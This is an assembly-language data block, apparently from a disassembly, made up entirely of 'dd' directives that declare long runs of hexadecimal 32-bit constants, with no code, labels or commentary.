		dd 99F288Ch, 66FA4676h,	0D7E89F84h, 0B8ED64B9h,	13985E25h
		dd 389650EBh, 0FBF705E7h, 0C1CE01BCh, 325EF348h, 69310C4h
		dd 6716423Bh, 84CDBD79h, 6805900Dh, 0A034EFF7h,	120127C0h
		dd 734B4Dh, 0F0C581C8h,	0CBB02EDFh, 0EEC5384Ah,	0C2A417B8h
		dd 0F220E8B4h, 0FD3A7AF9h, 40C4803Eh, 71250F35h, 8B3C4020h
		dd 73AF2F1Bh, 809BB4Ah,	22B9F0Fh, 0C91415Bh, 0CB6D029h
		dd 7CB460F1h, 38824C94h, 61408EEEh, 0E528A73Bh,	0A8F1D39Ch
		dd 0F95E27EBh, 0E5D1038Bh, 0EF93FD31h, 44E90812h, 0BA9BC4h
		dd 0B652FEE2h, 0CF580102h, 8208411Dh, 9F45E11Ch, 58C7F656h
		dd 0C1802A0Eh, 430828EBh, 0BF422CF8h, 0CB310A8Ah, 5BDA07D3h
		dd 0F0749B68h, 32A992B4h, 4D25CC5h, 0FC68587Bh,	6CF89345h
		dd 406E579Fh, 0D962BE53h, 125ABEEh, 54475AFEh, 7BB97B1h
		dd 9F95A70h, 0C3C7B24Bh, 0A5C3B8EAh, 4D4AE4C2h,	55600DDh
		dd 509FF748h, 16E5FCC2h, 0E0030262h, 8A2EDE5h, 0D0602390h
		dd 4E06AB83h, 9C20B0A5h, 7DEF741Fh, 0BD84F712h,	71661ECh
		dd 0DE5DB872h, 0C9BD284Bh, 163AD565h, 32B2B85Dh, 788FE25Ah
		dd 0B9474E7Fh, 0AE56078Eh, 95E4C9E0h, 9505DCF0h, 5A48D2F2h
		dd 65582F29h, 0EDD62715h, 0B67AEE2h, 302581D8h,	50F1F4C2h
		dd 48BE5FFDh, 2A563192h, 0F210AEB8h, 655D2EEAh,	22D39ECFh
		dd 0C38526A8h, 8DDA404Eh, 1A688704h, 0DF8C534Eh, 1687D26Bh
		dd 8269AE8Dh, 9142AA20h, 89C901AEh, 315CB210h, 30E86120h
		dd 0B3A54B9h, 0B84AF02Bh, 82A401F9h, 0B27F0344h, 0DEB46AE6h
		dd 7A1A6D45h, 5E90F480h, 7B2A4886h, 0AE1D4A05h,	0C0D1EC01h
		dd 0F9315EF7h, 40CE905Fh, 0E13980D5h, 0F5C197DFh, 5B12CDF8h
		dd 9A40BC52h, 26A681FAh, 16F43E9h, 572CBB87h, 0E855F25Fh
		dd 0B566DEA5h, 0A5888879h, 22B90189h, 0AC5B8A0Ch, 0E30B5AD8h
		dd 971CFCA4h, 0B233B81Ch, 0B9D2C154h, 0DAB75300h, 7ACF8014h
		dd 257C20FCh, 3CFEE6D1h, 4DB8C681h, 55301F88h, 6B2B16ACh
		dd 0D02F1710h, 230DF5D0h, 2688F3Bh, 4635F9E5h, 24984049h
		dd 0B7FD01CEh, 440FBA05h, 2DFE6053h, 76C007A2h,	22B51215h
		dd 780FDB5h, 0A341EE0Ch, 0C6345A2Ch, 742601FEh,	0DA253D0Bh
		dd 539EE21h, 0FB293ECEh, 0F460E55Fh, 1FC122Fh, 0C0CDDA5Bh
		dd 12093D20h, 3133D5Ah,	0CC6ED412h, 88C58494h, 321F2D9Ah
		dd 9DC83631h, 0CB010CFCh, 56F8CA56h, 8325727Dh,	80D8D1AEh
		dd 5C842AE6h, 79977C29h, 5D0CA05Fh, 5505C45Fh, 0E00B5138h
		dd 7918BAA4h, 0C1D2964h, 1690043Ah, 0BB673BE9h,	8E3BBF2Dh
		dd 200C20FDh, 6816B699h, 8EDA1FB4h, 68B02C4Ah, 0B81A749h
		dd 287DFBE9h, 5508B58Bh, 0F1800706h, 0D7CEF4E7h, 0E3F4800Ah
		dd 587BE288h, 30C44D25h, 94039369h, 91E9C1ACh, 212689AAh
		dd 4676A9F8h, 0DA1BB545h, 12103058h, 0CCE38CD6h, 0F6E28681h
		dd 510893D4h, 6530DB18h, 20899F8h, 52A17B4Fh, 0F2188BC3h
		dd 2518190Ch, 0B427487Dh, 0BEFC6412h, 0B635A929h, 0E985AA28h
		dd 51BDB07Ah, 0C0BD94B2h, 3A73D13Fh, 0C292533Eh, 0DE3DBCFBh
		dd 7F39EF05h, 763A32C1h, 7BF86800h, 2B8469Dh, 41C75FE8h
		dd 3CD677E9h, 2CBA5B13h, 0E324E9E7h, 0E5960764h, 0C80F68Dh
		dd 63E81634h, 8C995CE9h, 7E17A789h, 6F418882h, 0FC74D027h
		dd 2C229A34h, 39DDE2C1h, 0B72726BAh, 696BED0h, 0D1378A5h
		dd 0F824C1CAh, 0D124A754h, 0F1098A52h, 0CF096FCEh, 1E5FB2C2h
		dd 0EEE91417h, 93D394ECh, 73C61530h, 0B805D803h, 0E12FED6Bh
		dd 8C3E119Fh, 4E00BDD1h, 0BF79AB6Eh, 0B1F0F3Dh,	0CF5E993h
		dd 90671477h, 0A0130BDh, 0E199C31Bh, 31BE9D0Bh,	0C208F6D8h
		dd 9475B683h, 779A9564h, 7AA35FC1h, 906D73C8h, 9D3490F9h
		dd 2C923368h, 4B6F211Bh, 0B4BFF06Ch, 0DF012E4Ah, 6DCD3E69h
		dd 4A43CB5Bh, 0BE564E80h, 17417F18h, 4217E94Ah,	2DD8011Ah
		dd 5B23A9F7h, 0CBDD09A8h, 6AB5EAD9h, 63D7CEBFh,	0E5E9571Dh
		dd 6FD8F6B5h, 0EDB1FBh,	1D76696Bh, 25DEFC1h, 5D9A0526h
		dd 62850107h, 86186ACBh, 57094D94h, 122C1C48h, 14D76390h
		dd 0BF7E992Fh, 5C1E5BF4h, 905A5436h, 791813F4h,	26E9FC17h
		dd 8308F3A1h, 0F5422798h, 580E23F0h, 5D7A4E5Ch,	66EDCEC3h
		dd 7E7C242Fh, 0D2F78634h, 0EF055287h, 8D7DED14h, 893D14B8h
		dd 0D382B2CFh, 0B026C6E2h, 5256AE45h, 19087B7Ch, 258B1F28h
		dd 0C3E09E5Ch, 519B151h, 0E9E4EB80h, 4E36AC66h,	79D21E77h
		dd 0D544D714h, 4E5DD7A0h, 35629A00h, 770C634Ch,	10B7090Dh
		dd 0F7F67FF3h, 1F12FF26h, 2C3BF5DDh, 969E58B7h,	0B264F580h
		dd 0B531D189h, 0FEC3F161h, 0C1D5B057h, 0A4688062h, 8D996C5Bh
		dd 0E968706Fh, 5A910727h, 9A5D18BCh, 8A756C3Fh,	0BE012B7Eh
		dd 216D7CD2h, 0FD19A13Ah, 0EF2901DDh, 77ED8740h, 5B6D7D66h
		dd 5ABB01DBh, 3324B368h, 92523F86h, 7B4B7560h, 0EF2B85C7h
		dd 0DC6B4EB7h, 965FCCCAh
		dd 0E6FC2008h, 0A550D3B7h, 0F71E39E2h, 0EF87474Ah, 2FFEE7A0h
		dd 3F6595F7h, 727152B0h, 0E93B0B67h, 2FFEF8DFh,	0CA448BE5h
		dd 35BF67AAh, 4672B3CEh, 2BC751B3h, 7B677413h, 0B0E0B8B4h
		dd 0A4D24A5Ch, 6140E457h, 5489ECADh, 0EE68CF7h,	35075E09h
		dd 68E8F6C0h, 9C903145h, 0BDC92300h, 5EF201FAh,	0A2EA5B83h
		dd 0D11A15A7h, 39FB783Bh, 0C3C1021Dh, 84730D05h, 61E8A5D5h
		dd 0B4410B93h, 0D50A1A5Dh, 4FC40194h, 0A0CD0F39h, 5F4A8D30h
		dd 40B3B7D0h, 51B572B0h, 96FBEB27h, 38EBC316h, 0D3605C79h
		dd 34EC6B9h, 9AA2F7Ah, 42FE1AD0h, 50EFD9Ah, 265F7C7Fh
		dd 7D04D0F7h, 0F5650B2Dh, 29004873h, 3EC8143Ch,	570926B4h
		dd 52F4FCFEh, 7D276E40h, 9D81D39Dh, 3F3B9768h, 265630B4h
		dd 9ECE9CE9h, 0B4605ACAh, 0B680915Ah, 0EE8007EAh, 0BEF4281Bh
		dd 907BCCC7h, 1EE98EECh, 7843A84Fh, 0CCD858E8h,	0DE26C8AEh
		dd 606D0D19h, 24820212h, 18D43622h, 561F8FFEh, 0DA6B460Bh
		dd 0A606BDAh, 0E904B06Dh, 98EF1931h, 0DDAA512Fh, 0BDDAA8FFh
		dd 7CC21A09h, 32F5495Ch, 0CBFDC5Ah, 7877E39Ah, 9FEC788Ah
		dd 68098660h, 0EB899818h, 80F4662Ch, 0E6CACB28h, 1C90CFBBh
		dd 32E9FA8Fh, 1B0B25F0h, 0E870CF37h, 82E66C81h,	0F9DEE005h
		dd 773D3045h, 2D4507B8h, 2EF493FAh, 0C231672Ch,	5056DABh
		dd 0FF63237Bh, 25426930h, 817B1305h, 0D2D2B844h, 1D86BFA8h
		dd 0E32ED5D8h, 0CE020E06h, 77144B7Dh, 56242794h, 0F6172D50h
		dd 35617F30h, 0C11D7D0Bh, 725451D5h, 0F589602Fh, 0E95807A0h
		dd 0F4183A25h, 0A0FD65DDh, 227E35D3h, 316DCF01h, 646858C2h
		dd 305DA47Ah, 0F3ACFE5Eh, 0C2E534E7h, 0C7D299DEh, 6055A00Fh
		dd 6BEA6663h, 23CA0437h, 0C056E142h, 0F773B7FCh, 0F3C46AEDh
		dd 0D95693ECh, 6476532Eh, 0B455BC1Ch, 5AB74EC8h, 5C9F2368h
		dd 0BD669507h, 0F495D81h, 3632AF0Eh, 7ED10212h,	0F878B853h
		dd 4B53FC4h, 8CBBB966h,	65698CA8h, 0A897D95Eh, 7B8B9704h
		dd 9526B8BBh, 2542BF28h, 26420B5Fh, 0D2BC3C5Dh,	2410AD3Dh
		dd 2C08E7F1h, 20DA20A0h, 0FEB0054Ah, 34A8C79Fh,	0FAE00DAh
		dd 8161A448h, 2501EE34h, 31FBFA80h, 88A7F31Ah, 3BFED9E1h
		dd 40B0E814h, 5181F782h, 9582D270h, 1B3D0B5Bh, 0BD15DE2Fh
		dd 0C58019C0h, 2D06CB06h, 2E2034D0h, 2CAC04BDh,	0BCD828D7h
		dd 80B3A172h, 10257F70h, 16C2F3E9h, 40FE12B2h, 0C5B55189h
		dd 0DA73ED80h, 4ABF4FB8h, 0E94CC1B2h, 0B62EA8E1h, 4F4D7AC8h
		dd 4674CB1h, 3C4C028Fh,	0AF658901h, 2685401Ch, 794E3B6Ah
		dd 0F8E4A6FCh, 3021A587h, 3B2220A9h, 0DF34D392h, 0B5DBBCADh
		dd 24C37C08h, 975E1104h, 0A07E57AFh, 6812FDD1h,	0EECD615Ah
		dd 256318F4h, 0DF15636h, 25CCDC27h, 26B4CF1h, 0D7D4E9D8h
		dd 3D5B4119h, 2BF81365h, 0D7833E0Eh, 2AE96F02h,	6F6E7F16h
		dd 4F8C8F5Eh, 62B900BFh, 814F5526h, 9E0072F7h, 7405531Ah
		dd 3C416C22h, 0BB28F801h, 1874B408h, 3AD1985Fh,	51AC401h
		dd 9C718CBh, 68F3806Bh,	0C9441DCh, 0F5A22362h, 9150A63Bh
		dd 7997F47Dh, 0F0C6A5CDh, 170F505Ch, 0F329D684h, 5709446Fh
		dd 6B25AADAh, 0F39C6804h, 4539BE00h, 46483EBFh,	79370211h
		dd 5F4E127Ch, 236E3DE8h, 84AA393Fh, 2D2443C7h, 0C895AE04h
		dd 0F19F1FEDh, 43CBA6D7h, 9102D40Dh, 806AC4C7h,	7064D56Dh
		dd 0CDF4664Ah, 88C54EDEh, 0CE07B8F1h, 4054CA52h, 0D89098E4h
		dd 1E17BD68h, 0C95F1037h, 0CC24AD4Ch, 0E5CBAF56h, 0AA0C8716h
		dd 1DFAC671h, 74822D00h, 0B066682Bh, 0B7646597h, 102D1A80h
		dd 2149845h, 763F0927h,	80D7EEC1h, 423651B0h, 0B6E91226h
		dd 6F528DF2h, 29AA1057h, 1E4520FEh, 6061067Ch, 0FB47F056h
		dd 0FE298A41h, 0A1442E36h, 0BEEBA052h, 7F4082D9h, 0E4BDAB46h
		dd 0A870B5D3h, 9DED6E5Bh, 36682581h, 0A3D73B01h, 1089A440h
		dd 0CB29256Fh, 55EDA14h, 30E927F4h, 0B04EC7CDh,	0E850C09Ch
		dd 0F540E1CFh, 1DCB0081h, 4B40482Eh, 35EEBC1h, 3F05FAADh
		dd 0ABFF9E32h, 0F5211BC1h, 105ECA4Bh, 22049EF4h, 0FE19F6BFh
		dd 0A1F2E309h, 66E668E3h, 954EFB23h, 36EA86DBh,	320928F4h
		dd 80C28336h, 6F49EAD9h, 4A2F3006h, 0C37C8F0Eh,	176E3748h
		dd 9CF50B70h, 5BFD3B31h, 9379F804h, 0FFD2F3ECh,	0FFEF632Ch
		dd 0F94FD829h, 0EBE9174Eh, 0FEF67C52h, 0F46F4B7Ch, 5298F588h
		dd 3581864Bh, 9620C709h, 9F7A92F3h, 0B1FFA9B2h,	6C3531E4h
		dd 6EE7862Ah, 515EB627h, 0F6854F26h, 0BC40FB0Ah, 8C685756h
		dd 0FC5C7209h, 418E4F32h, 0B52675AEh, 2D14027h,	355D0F62h
		dd 76E909A5h, 95169479h, 2DB1DB40h, 6CCB2825h, 4F5098CAh
		dd 9683AC10h, 0B5FCB604h, 6A257FB3h, 53B588D8h,	9677E98Eh
		dd 532304A9h, 3929F78Eh, 135EF0ECh, 0A345E168h,	0B36D0493h
		dd 90E96634h, 8457B997h, 62BE9078h, 4ADF059Dh, 0A2845D2Ah
		dd 4B76ACCAh, 0D3C77ED4h, 1EBDB2h, 5F205AB8h, 0E7310628h
		dd 0D8D1575Bh, 0F805B123h, 0B8CA02BCh, 41189B1Ah, 63CC26F4h
		dd 500B051h, 20B51B54h,	0BBC1EA21h, 977F8FB4h, 12EEF464h
		dd 0C45FB8BCh, 0B562F828h, 6C684620h, 0FE6B540h, 0A52AB81Ch
		dd 889EE5A7h, 5E16FC7Eh, 49265FCh, 0FD551Bh, 0DD685854h
		dd 3189F46h, 0A1006512h, 28ED8110h, 97DFC14h, 0F3B2E945h
		dd 0F6AD97F3h, 0E3D32D58h, 0BB71E98Ah, 2FA456A7h, 72526B76h
		dd 863E54BBh, 3A89B466h, 85B104Ah, 5AADE93Dh, 5FC68C98h
		dd 42E587CEh, 61799525h, 0B082072Eh, 0F7CD1C45h, 0C3C568DFh
		dd 603017E8h, 90B1361h,	69283F7h, 13129C7Dh, 0FD14FEE9h
		dd 465905FEh, 6DC05EC4h, 98FA315Bh, 49F64AD7h, 70604042h
		dd 0AC90E6C1h, 3A1A6627h, 2092F4B0h, 76CD4DF7h,	7813B905h
		dd 0BAFB0EC1h, 0DD2D0230h, 0CE427068h, 0C3312621h, 87BF096Ah
		dd 6857276Ah, 124C29FAh, 0D0590824h, 0A23F47A2h, 3E7D0B48h
		dd 2468406Fh, 0C19C6421h, 0FD1E5CDFh, 74FEF85Ah, 0C320639Ah
		dd 0CF810665h, 58C50FABh, 0F1F1F77Ah, 97847ADDh, 10D2C4B2h
		dd 0E9123D37h, 0B6F7A01Bh, 0B1207324h, 0BE1208h, 0ECC077B4h
		dd 0D409F608h, 995B1868h, 2C89B103h, 891088B5h,	908261CCh
		dd 80C5152Bh, 0B324685Fh, 11C0842Dh, 0FA04AB2Fh, 0D366628Eh
		dd 11F56C03h, 85E3C710h, 5BC9E3FCh, 11EC2355h, 2CFD2585h
		dd 0DFA21D44h, 1542AFAh, 25D758B1h, 0A3E93DD0h,	0F1D99FD4h
		dd 0CFBF59CBh, 8959EE6Bh, 6809732Dh, 0F3890BADh, 0EB5A0584h
		dd 347BDA29h, 96FEC080h, 1D60B447h, 0EB0CC40Ch,	0F129346Eh
		dd 0C081A34h, 825E1404h, 7848CB2Dh, 5002EFD0h, 0FB348CB0h
		dd 80776030h, 0FAF473CFh, 692CC4B8h, 438CEAA2h,	75422568h
		dd 0A6136219h, 7EAD1C4Fh, 829DBAB1h, 59F8E508h,	684419C8h
		dd 911508F7h, 7FF7B900h, 9849770Eh, 9B882557h, 0B020E8CCh
		dd 91587770h, 0E393080Eh, 304DB28h, 2939849Bh, 0F1DA913h
		dd 0D6A5043Ch, 6D8B5E04h, 84AEA417h, 12929425h,	9F96F791h
		dd 0F324557Dh, 0D1690518h, 0EF68856Ch, 1F18254Ah, 2D7F00D2h
		dd 658248FCh, 0DE49490h, 4BB76298h, 617598CAh, 0B1505C29h
		dd 8963D206h, 8A4BC654h, 6320B7F1h, 743A261Fh, 86020960h
		dd 5BDF1857h, 0D9E6886Ch, 61A05113h, 16A13F00h,	923140BAh
		dd 2F61FDBh, 9348948h, 0E63BB402h, 0C68FE0Bh, 0C147EC6Ch
		dd 2A746F0Fh, 7EBCBD10h
		dd 0C14408A2h, 76F2C427h, 0D2687033h, 0BEEC0B5Bh, 0ECBBB0C5h
		dd 136882F7h, 985DFE34h, 0E580BB4Ch, 4E097FF1h,	5CC4E135h
		dd 0E4E1843Eh, 845E79C8h, 47B04741h, 833B2268h,	3799812Dh
		dd 6B7E713Bh, 53DA0C01h, 0F27D6740h, 15C4F784h,	0BE12736h
		dd 0C253D1DDh, 5F02DB45h, 9A816047h, 7B0A3B52h,	10C6EF07h
		dd 0FA090262h, 8E2E380h, 166995E9h, 0FB5ED83Fh,	6F36E9h
		dd 225DBD75h, 0F7000282h, 6EDC1DDh, 0B5C58145h,	8E134758h
		dd 9143AAE9h, 13202768h, 325B0387h, 0B45E512Ch,	743F68E1h
		dd 691D3926h, 936F144Ah, 0F65FEF05h, 6C894230h,	0AEF70ACBh
		dd 53676101h, 93BF647h,	0A4D4919Dh, 59AE0A09h, 0BCAD884Ah
		dd 0E2337C2Dh, 802A5642h, 3FAFE25h, 5901876Ch, 79B2CAFCh
		dd 0CF07DB5Eh, 5D74895Ah, 64A95080h, 0B013513Eh, 75882EC8h
		dd 63DF4C6Eh, 834AB927h, 0C9CF4774h, 0D62ACA4Bh, 2095A091h
		dd 0B3979668h, 68A5E2CAh, 4EC2801Dh, 0E29881C1h, 9EAE07Bh
		dd 287C20F7h, 0D6FFD17Bh, 0E0A50079h, 7FB5512Ah, 0ECED2DEBh
		dd 0C0AF355Bh, 782832F0h, 0E2584FE5h, 0CF1192B7h, 0E7D62A52h
		dd 0F4F68017h, 0DB311CEEh, 0D0833CC2h, 46127F4Ah, 815B140Bh
		dd 0EBC17A7Dh, 1CB7320h, 83A717Eh, 548FE94Bh, 0BD99BEC1h
		dd 0CEBEB4D7h, 0AB8640E3h, 83AFF483h, 0B4A52CD2h, 0A64FB9EEh
		dd 0ECD712F9h, 554B841Ah, 20A45A18h, 85903171h,	38B17904h
		dd 0FA1289FDh, 50471600h, 1323BD55h, 0B005DD51h, 4A9729B6h
		dd 0C996D193h, 0E9F810FEh, 96249A60h, 8E444F62h, 0E88ABFE2h
		dd 9E12194Ch, 0FB8CC92h, 88BB4Ah, 9E5D8254h, 0A697E2h
		dd 660B29D0h, 17EF8BAh,	7DEEEB59h, 7B789DF9h, 7AAA85Eh
		dd 11C78ABh, 0C8C2F514h, 4B94F27Dh, 2BE0E5B9h, 97C92BF2h
		dd 0FB97B670h, 46554969h, 279B989Ch, 0CBFC7565h, 841C3528h
		dd 0D867A67Fh, 0F5782FFBh, 8995054Eh, 0A5D4747Bh, 0F149185Ch
		dd 0E96C3B77h, 1C144862h, 9EF252Ah, 805312DFh, 64F1CF17h
		dd 2C264C9Fh, 4D493003h, 0AAE4E934h, 0D5EAF549h, 705D11A7h
		dd 8004EDC2h, 4A0755Ch,	8733BF5Fh, 12DC09EFh, 18D4DF42h
		dd 806A2870h, 0EB5BC059h, 0E124FDBCh, 0D7EA6EDh, 0F5ADDDB1h
		dd 0B4C251D2h, 0A9F43ED0h, 7E9983ECh, 0A8A3C5E9h, 0E509C320h
		dd 5D3B7177h, 0FD106380h, 0AB28E969h, 0C520279Eh, 59D9A287h
		dd 0FE71A53Ah, 4634584Dh, 6A22F354h, 537934CBh,	7ED71C09h
		dd 715552F4h, 65E95057h, 4F3174Dh, 6CE751DAh, 0C1132CBAh
		dd 606E030h, 135A3503h,	8211530h, 0D2B976DDh, 42FA48F5h
		dd 10740589h, 37F16CD7h, 8B27606Eh, 2B4FFC37h, 554CCBB8h
		dd 1B70E74h, 0F5C03252h, 6031662h, 0B0A03BF3h, 6AA39D9Bh
		dd 2EC265C9h, 76D4C74h,	3C23A17Fh, 21B24A5Ch, 0B60296DDh
		dd 0EC680BC3h, 90CD7623h, 26CE58DFh, 0CB34FD40h, 4E1F79FFh
		dd 0C0681E32h, 2CB5666Fh, 0C27AC843h, 7D09A241h, 83132D86h
		dd 4B74320h, 0F2EDAE05h, 9254C0B2h, 713BC449h, 3FE91329h
		dd 45BB5580h, 236F821h,	3CB6F381h, 0F5E017E2h, 6304C20h
		dd 1EAAA656h, 0D1043E95h, 0F381F24Ch, 6B49B2A8h, 0D7214EC5h
		dd 0D034F8E9h, 0F1E10781h, 6F035D6Eh, 0F2116D81h, 5AA16FA4h
		dd 2085BD28h, 8F6804DDh, 74AC09E5h, 843BC550h, 0EDD71C03h
		dd 0EAB4E4A4h, 38EB1FD4h, 9809BDC3h, 0D669B312h, 66E481AFh
		dd 2C55C4B6h, 0DBC058Bh, 55D44C8Dh, 13130714h, 98A4E3CEh
		dd 0B2014E24h, 5A530B7Bh, 67D7B85Bh, 0A5B981D3h, 0E6700013h
		dd 9D02AD50h, 708CDDC0h, 51FAE183h, 0E060412Eh,	254AF5E7h
		dd 0ABE2FB6Dh, 2784744h, 0CA079226h, 599068C1h,	7AF0996Eh
		dd 413096A0h, 0D89A6A0Dh, 30605652h, 6E4A685Bh,	0E1E66B5h
		dd 5F9F4483h, 0F5A8EF8Ch, 88076541h, 0D3A8B9F4h, 0D251CCDFh
		dd 0D38B92D1h, 0A90B4B8Dh, 1685B437h, 25885FF0h, 6FF62857h
		dd 0C0456BE6h, 0D4250134h, 204CF21Bh, 490904E7h, 56C23E47h
		dd 58657A7Dh, 8F3E0703h, 0B92D5A7Eh, 0C2510B6Ah, 3F3F0A05h
		dd 31ABF701h, 806B2AF9h, 92BB81Bh, 0DCEEE4A0h, 32135002h
		dd 97961E9h, 3F422981h,	3C1EE77Ch, 1D82FC9Ah, 0DBC90DE9h
		dd 32BA8F45h, 0B1113BC7h, 816577E2h, 0C1D2F76Ch, 69308EAh
		dd 0D93D0B06h, 0D998BBD7h, 252B6A08h, 8128BA65h, 2BC745B3h
		dd 0F466C0F0h, 6C597Dh,	0D72695DEh, 0E7E8A04Ah,	7D34D94Eh
		dd 0DF50E109h, 2FD4411Ah, 2DBA0197h, 53C2EC77h,	93E50AB8h
		dd 50A9EBF1h, 175E2A4Ch, 0CD54B9D0h, 68E4658Dh,	9B4D62F6h
		dd 0B9006E32h, 1FF9D016h, 12CA299Fh, 5EAEE8D3h,	19B865F8h
		dd 0DEE8724Ah, 7F20A8D0h, 0C2A11BB0h, 18D922F3h, 0E25B583Bh
		dd 0D88EA251h, 0CBC99542h, 8D217EE7h, 0E23E5866h, 4E774C31h
		dd 25E9FA98h, 9E7BF605h, 23685080h, 26167F7Ch, 3D4ED158h
		dd 2CF07D2Bh, 7DC66987h, 53FBC09Fh, 2EF400BBh, 0B9516630h
		dd 0D0487225h, 4EF1024Eh, 601A6F29h, 2D32A022h,	94E25490h
		dd 8E26C875h, 20D262DCh, 94FD6389h, 7C29254Dh, 0CE208FC6h
		dd 0FE58666Fh, 0CC7C06EFh, 0B3856935h, 60C88285h, 0A3FE4BEAh
		dd 66787AAEh, 0F9884A94h, 1590784h, 9B9887C6h, 54C2A27Eh
		dd 0C2D0765Dh, 0FD10C477h, 0B7D33D0Fh, 0B79FB94h, 0DF77DA05h
		dd 0F282AF7Eh, 0C6114089h, 1677B36Dh, 78B6A350h, 2D4B724Dh
		dd 0EB21F95Bh, 0EBDEB075h, 0F70E1658h, 0C3EAB07Dh, 0CC5708A2h
		dd 0DA3AAA3Fh, 8C9BB63h, 0A2344F1Bh, 4E10F2E2h,	0FA31035Ch
		dd 9619685Fh, 103525FBh, 782DDFD9h, 7FC3B57Bh, 0D9F676F2h
		dd 0B826E927h, 4ACD88CCh, 970EF301h, 0DE4AB5ACh, 9E662579h
		dd 37D9BD5Eh, 7AABA667h, 3BE19F02h, 0E678ECFAh,	0DCC238B4h
		dd 61A5FAD3h, 0EAB045E2h, 28FD6030h, 4026C77Ch,	0BD5170A9h
		dd 84EF5E50h, 30A02710h, 80410EAh, 975FA85Dh, 0A59E62BAh
		dd 5D4A39F8h, 6A446846h, 4A42FE9Dh, 921241F8h, 6F24DF2Dh
		dd 2C43ECCDh, 0A0195A91h, 460E942h, 3C37BFCBh, 85495A18h
		dd 31C9011Ch, 40775C22h, 2DC9B6C6h, 0DA5009FAh,	7B09F2C3h
		dd 0F0FDEFDBh, 0C159800Ch, 0EC0A4FE8h, 989F176Dh, 0DCC4A4ECh
		dd 68D65854h, 4A787DDFh, 3EE6CD08h, 0F2E4091h, 0EEE19450h
		dd 644E3151h, 45208CD8h, 75C4AFFAh, 4A4FD1AFh, 0A7B800C6h
		dd 8B53D4Eh, 0C09C547Bh, 0A9024BEEh, 9108D2DEh,	0F15514B9h
		dd 0FE41A132h, 4721D0A1h, 0EED47A1Ch, 0BDF286h,	0B63759BEh
		dd 0E0CAB929h, 10CAC02h, 7E56E9F1h, 5AD0915h, 0CBBA377Ch
		dd 554EE4h, 5D7BFEBDh, 0CD814D2Ch, 1458600Eh, 0AFB1F236h
		dd 5BC043Bh, 5C39EE89h,	0A1E1462Eh, 0B404AD65h,	210DBF7Dh
		dd 0E001DD85h, 0F37ECBD4h, 2CD08630h, 0BB5B431h, 0E8EC7041h
		dd 844BC0FEh, 0D2425B8Dh, 9F06F139h, 0B0FEA587h, 785364EFh
		dd 3E2539EAh, 5A5CAF32h, 58C520A3h, 0A73C78A0h,	9B8F413Dh
		dd 8516AC8Bh, 0A02F81EAh, 200C06E4h, 0BA98A3C1h, 8A58CFFAh
		dd 0FCB5A737h, 7CBF03D5h, 0D75C6DB6h, 33F39203h, 7877C05Bh
		dd 95B64828h, 58085039h, 46C8F9B7h, 0DC5F4C57h,	40E36E4Ah
		dd 0FB18C202h, 40D26229h, 1EFEBBD5h, 8687456Ch,	0EB97E9CBh
		dd 0F48353A0h, 0CA5EEEB5h, 0C0B35361h, 74B8685Bh, 5A627596h
		dd 547F319Eh, 0C8F0C193h, 959C6A61h, 3A760BC3h,	0FC506A87h
		dd 0FC4D8227h, 0FC30C38Eh, 0D4C6C525h, 10CB0C0h, 2407D48h
		dd 0F90E02C1h, 7584E94Fh
		dd 4248B27Fh, 4CA9552Dh, 0A745827Fh, 0CB8B90E0h, 20783B03h
		dd 885EA00h, 0F2290691h, 88241B0h, 418BC355h, 282E1722h
		dd 0C597523Dh, 282769F2h, 1A7F2B70h, 59DD615Ch,	0FA9E4272h
		dd 0AEF65827h, 0D930F56Bh, 0BF80A4DBh, 844C0011h, 0F3E7816Dh
		dd 2748F935h, 6A900664h, 40C42A7h, 6396739Eh, 0D19BC909h
		dd 7E7FD925h, 0E1685407h, 5F9946BBh, 555F8D5h, 5EF0215Ah
		dd 9E0BE1C4h, 6BB8D584h, 1D403868h, 26433E9h, 0E625E047h
		dd 90A04473h, 0AB1092Eh, 0A87E6A2Ch, 115C6400h,	27E9EDD1h
		dd 0B825D099h, 0D8C7DCCBh, 6F5A70F5h, 88258C62h, 1EE75BE3h
		dd 0F62F60F8h, 0B41DCD7h, 0ADD3BC7h, 0F310C5E4h, 8673BD76h
		dd 7D2E0649h, 0DEF4204Fh, 0AC5440BFh, 0CFB180B3h, 5AF1301Ch
		dd 84592D3Eh, 684F5772h, 0BA7F694Bh, 50E5D549h,	647AD62Fh
		dd 0B785AE5Fh, 0D4F302D3h, 0EA4FFD4Eh, 47F8232Bh, 0ADD11C8Bh
		dd 0A1892B5Fh, 19896CC5h, 97B8BEE6h, 0D39F6DF1h, 0F68F89E3h
		dd 0F4C4BA7Dh, 0B03CCCE8h, 35341013h, 0E3C001F1h, 98B10651h
		dd 64DE180h, 4020789Fh,	59B0647Ch, 4AE80279h, 5D69CD9Eh
		dd 0D35ED8C6h, 52324EA9h, 0E7875029h, 5BF822F7h, 16132F5Dh
		dd 0BF3E0DAEh, 0F21E4061h, 5D7BDF7Fh, 8F3B8C50h, 0DB5074C4h
		dd 57275A1Fh, 6F91B343h, 0DFDAE7A2h, 3297DEF0h,	0EECA7525h
		dd 962DC2C5h, 957B97B3h, 0F8255C65h, 0CD521E5h,	9C5D412Fh
		dd 3965276Ch, 0A7A01028h, 0AA3E924Bh, 0CD665D29h, 49BF11EBh
		dd 56E0BB00h, 11BE309h,	904096F3h, 779976Dh, 5D0F62h, 1D569668h
		dd 0DA29287Ah, 0DDB4D1F0h, 151CB001h, 0A22F0211h, 9AED4BD2h
		dd 7AF9C780h, 0CA97075Eh, 76080985h, 71DE6985h,	2748DA72h
		dd 0C53A4957h, 0F1D2105Fh, 197116EEh, 0AEE10C1Ch, 46BD24BBh
		dd 0EB8839D2h, 595BDE0Bh, 0D598A1DAh, 0FCBA9140h, 3389166Eh
		dd 97FFFD31h, 0B90015B8h, 9F72A8B5h, 5F63F929h,	0ACD9E978h
		dd 0E1920FFCh, 0BC71CEA3h, 0A5AF6FB8h, 165EE377h, 0D38B5D0Ch
		dd 66920CC6h, 340C79B9h, 7EAF650Fh, 42109601h, 4AA4108h
		dd 92E0AA14h, 4477639Ah, 20004D5Eh, 21DB3284h, 2F60A205h
		dd 0E378682Ah, 35D0F700h, 0EEC7FD65h, 0DFD49521h, 7419D703h
		dd 0ACE5B037h, 4E1C301Dh, 14082418h, 0EF014C13h, 6CE9FB90h
		dd 97139AADh, 0CDDE2FC2h, 515AF92Dh, 299C6E3Ch,	0BA6927E9h
		dd 6D2231DAh, 51F68106h, 0BB47AAE4h, 23A518D6h,	0DE0D3558h
		dd 9930D267h, 46E0D242h, 4348A04Bh, 54CA303Ah, 0E561F89Ah
		dd 0C384474Eh, 96046DA8h, 0E816BD10h, 0BF5717C4h, 0E17652ABh
